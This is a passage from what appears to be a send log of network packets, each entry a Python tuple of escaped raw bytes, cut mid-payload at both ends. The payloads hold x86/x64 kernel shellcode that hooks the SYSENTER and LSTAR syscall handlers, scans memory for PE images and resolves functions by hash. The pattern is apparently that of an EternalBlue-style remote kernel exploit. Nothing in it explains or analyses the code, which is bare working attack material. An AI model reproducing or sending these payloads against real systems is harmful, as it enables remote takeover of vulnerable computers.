0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 5, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 6, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 